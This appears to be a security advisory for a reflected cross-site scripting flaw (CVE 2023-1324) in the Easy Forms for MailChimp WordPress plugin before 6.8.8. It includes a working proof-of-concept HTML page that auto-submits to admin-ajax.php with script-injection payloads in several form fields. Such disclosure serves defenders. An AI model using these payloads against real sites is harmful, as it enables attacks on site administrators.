Easy Forms for MailChimp < 6.8.8 – Reflected XSS | CVE 2023-1324

Description

The plugin does not sanitise and escape some parameters before outputting them back in the response, leading to a Reflected Cross-Site Scripting which could be used against high privilege users such as admin

Proof of Concept

Make a logged in admin open a page with the following code (this requires the attacker to know/guess a list_id)

<html>
  <body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
        <input type="hidden" name="action" value="add_interest_group_to_form"/>
        <input type="hidden" name="list_id" value="d352660974" />
        <input type="hidden" name="interest_groups[][group_id]" value='"></textarea><svg/onload=alert(/XSS-group_id/)>' />
        <input type="hidden" name="interest_groups[][field_type]" value='"><svg/onload=alert(/XSS-field_type/)>' />
        <input type="hidden" name="interest_groups[][field_name]" value='"><svg/onload=alert(/XSS-field_name/)>' />
        <input type="hidden" name="interest_groups[][classes]" value='"autofocus=autofocus onfocus=alert(/XSS-classes/)//' />
        <input type="submit" value="Submit" />
    </form>
  </body>
</html>